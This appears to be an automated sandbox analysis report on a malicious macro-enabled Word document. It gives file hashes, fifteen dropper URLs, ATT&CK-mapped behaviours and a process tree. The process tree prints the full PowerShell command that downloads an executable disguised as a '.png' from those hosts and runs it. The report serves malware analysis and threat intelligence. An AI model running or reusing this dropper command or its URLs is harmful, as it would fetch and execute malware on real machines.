8412f10e3ca2d4419f4899314d7f7d3c8cd2aa78dd117b82369179a5180a3fa5

General

Target

DieKlage-01092020-1994462004.docm
Size

90KB
MD5

09c2efc28d71216d95c49b33f24af6e3
SHA1

b8b3a9a39486c91222494004ef2498e977ad7524
SHA256

94027e02da7382882c8046e165ba9bdf7b3fc801ecf35ab3f004b1a3fdcc743c
SHA512

be8158bcb2a6adccffd5d5486b0d4c51463df654d017e0ca58466a9d46c9c23a9811200779333d803933c402c8f660200db1e7c5c89796c83e1c4f3ed9ab67a3

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://rodrigodecamargo.com.br/vhtderi/555555555.png

exe.dropper

http://www.lelamantin.fr/uboljzeqfb/555555555.png

exe.dropper

http://somethingspecialrd.com/emdnfin/555555555.png

exe.dropper

http://www.intiming.it/zopnivucop/555555555.png

exe.dropper

http://funminews.com/tdtmxmcjtkqo/555555555.png

exe.dropper

http://lesehanpelangi.com/vswrdyzgo/555555555.png

exe.dropper

http://anamtaexports.in/gbfrctzj/555555555.png

exe.dropper

http://ebooks.libraryrule.com/ttfzyugewvft/555555555.png

exe.dropper

http://the-lobby.org/xqjzx/555555555.png

exe.dropper

http://www.biocosmeticashop.com/tftkbe/555555555.png

exe.dropper

http://birlafincorp.com/xoygkcfaea/555555555.png

exe.dropper

http://shainasaw.com/bvjlok/555555555.png

exe.dropper

http://www.hygienicwallcladding.com/ucbucwmtfkan/555555555.png

exe.dropper

http://marudhralive.com/ggyofqrt/555555555.png

exe.dropper

http://dienmayhoatan.com/fmyctrjeqrxw/555555555.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

explorer.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1988	3092	explorer.exe	WINWORD.EXE

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
43	2656	powershell.exe
47	2656	powershell.exe
52	2656	powershell.exe
56	2656	powershell.exe
57	2656	powershell.exe
59	2656	powershell.exe
62	2656	powershell.exe
64	2656	powershell.exe
71	2656	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

Processes:

explorer.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings explorer.exe
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3092 WINWORD.EXE
3092 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2656 powershell.exe
2656 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2656 powershell.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

WINWORD.EXE

pid process

3092 WINWORD.EXE
3092 WINWORD.EXE
3092 WINWORD.EXE
3092 WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	explorer.exe

pid	process
3092	WINWORD.EXE
3092	WINWORD.EXE

pid	process
2656	powershell.exe
2656	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2656	powershell.exe

pid	process
3092	WINWORD.EXE
3092	WINWORD.EXE
3092	WINWORD.EXE
3092	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEexplorer.exeWScript.execmd.exe

description	pid	process	target process
PID 3092 wrote to memory of 1988	3092	WINWORD.EXE	explorer.exe
PID 3092 wrote to memory of 1988	3092	WINWORD.EXE	explorer.exe
PID 544 wrote to memory of 4796	544	explorer.exe	WScript.exe
PID 544 wrote to memory of 4796	544	explorer.exe	WScript.exe
PID 4796 wrote to memory of 1300	4796	WScript.exe	cmd.exe
PID 4796 wrote to memory of 1300	4796	WScript.exe	cmd.exe
PID 1300 wrote to memory of 2656	1300	cmd.exe	powershell.exe
PID 1300 wrote to memory of 2656	1300	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DieKlage-01092020-1994462004.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3092

C:\Windows\explorer.exe
explorer.exe C:\ProgramData\jKLMJKGtftftyJHGFTYDA.vbs
2⤵
- Process spawned unexpected child process
PID:1988

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:544

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\jKLMJKGtftftyJHGFTYDA.vbs"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4796

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ApplesHelper\HGFTYUGYtyftTDFTYFYF.cmd" "
3⤵
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POWerShell Foreach($url in @('http://rodrigodecamargo.com.br/vhtderi/555555555.png','http://www.lelamantin.fr/uboljzeqfb/555555555.png','http://somethingspecialrd.com/emdnfin/555555555.png','http://www.intiming.it/zopnivucop/555555555.png','http://funminews.com/tdtmxmcjtkqo/555555555.png','http://lesehanpelangi.com/vswrdyzgo/555555555.png','http://anamtaexports.in/gbfrctzj/555555555.png','http://ebooks.libraryrule.com/ttfzyugewvft/555555555.png','http://the-lobby.org/xqjzx/555555555.png','http://www.biocosmeticashop.com/tftkbe/555555555.png','http://birlafincorp.com/xoygkcfaea/555555555.png','http://shainasaw.com/bvjlok/555555555.png','http://www.hygienicwallcladding.com/ucbucwmtfkan/555555555.png','http://marudhralive.com/ggyofqrt/555555555.png','http://dienmayhoatan.com/fmyctrjeqrxw/555555555.png')) { try{$path = 'C:\ApplesHelper\KLHutufguyguyfgxdfg.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2656

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ApplesHelper\HGFTYUGYtyftTDFTYFYF.cmd
Filesize
24KB

MD5
db94c28610cb83c3056f1ae4e3e80463

SHA1
174cb2cc87ff32c50b752a94eda80121811014bd

SHA256
72223739a61890dac3cef9147aaa16b447d977cdf6ee413535a2826931db2b2d

SHA512
f94ec877c58b4c5aa503e2fff42deb8925c17d7fddbf4d10e4856b2254dc81117d0f9a1ec21ed4444a3e90d2c28e86fd1e776448f3aa80cb8977ca7021cb85e9

Download Submit
C:\ProgramData\jKLMJKGtftftyJHGFTYDA.vbs
Filesize
74KB

MD5
5ba27fb265515da4386aa9c025826e3a

SHA1
16a4dfd513bd36714e560a3fcca8c3b846e2da57

SHA256
f9655447610215ddd56d097ea5bdeaaa1f7a730d66945c0cc86d8de51c5bb15e

SHA512
977e4954d5ec90f2306d34f95fc4898e1309f1272306c3e70616738ef49eb1f53b8689580d8ddffa677f02b68ba90ef4f0ad45456a4e27ac9367f284823819b3

Download Submit
memory/1300-142-0x0000000000000000-mapping.dmp

Download
memory/1988-138-0x0000000000000000-mapping.dmp

Download
memory/2656-146-0x00007FFD358A0000-0x00007FFD36361000-memory.dmp

Filesize
10.8MB

Download
memory/2656-145-0x00000222A4F40000-0x00000222A4F62000-memory.dmp

Filesize
136KB

Download
memory/2656-144-0x0000000000000000-mapping.dmp

Download
memory/3092-135-0x00007FFD1E400000-0x00007FFD1E410000-memory.dmp

Filesize
64KB

Download
memory/3092-137-0x000001980EA10000-0x000001980EA14000-memory.dmp

Filesize
16KB

Download
memory/3092-136-0x00007FFD1E400000-0x00007FFD1E410000-memory.dmp

Filesize
64KB

Download
memory/3092-130-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-134-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-133-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-131-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-132-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-147-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-149-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-148-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/3092-150-0x00007FFD20A90000-0x00007FFD20AA0000-memory.dmp

Filesize
64KB

Download
memory/4796-141-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads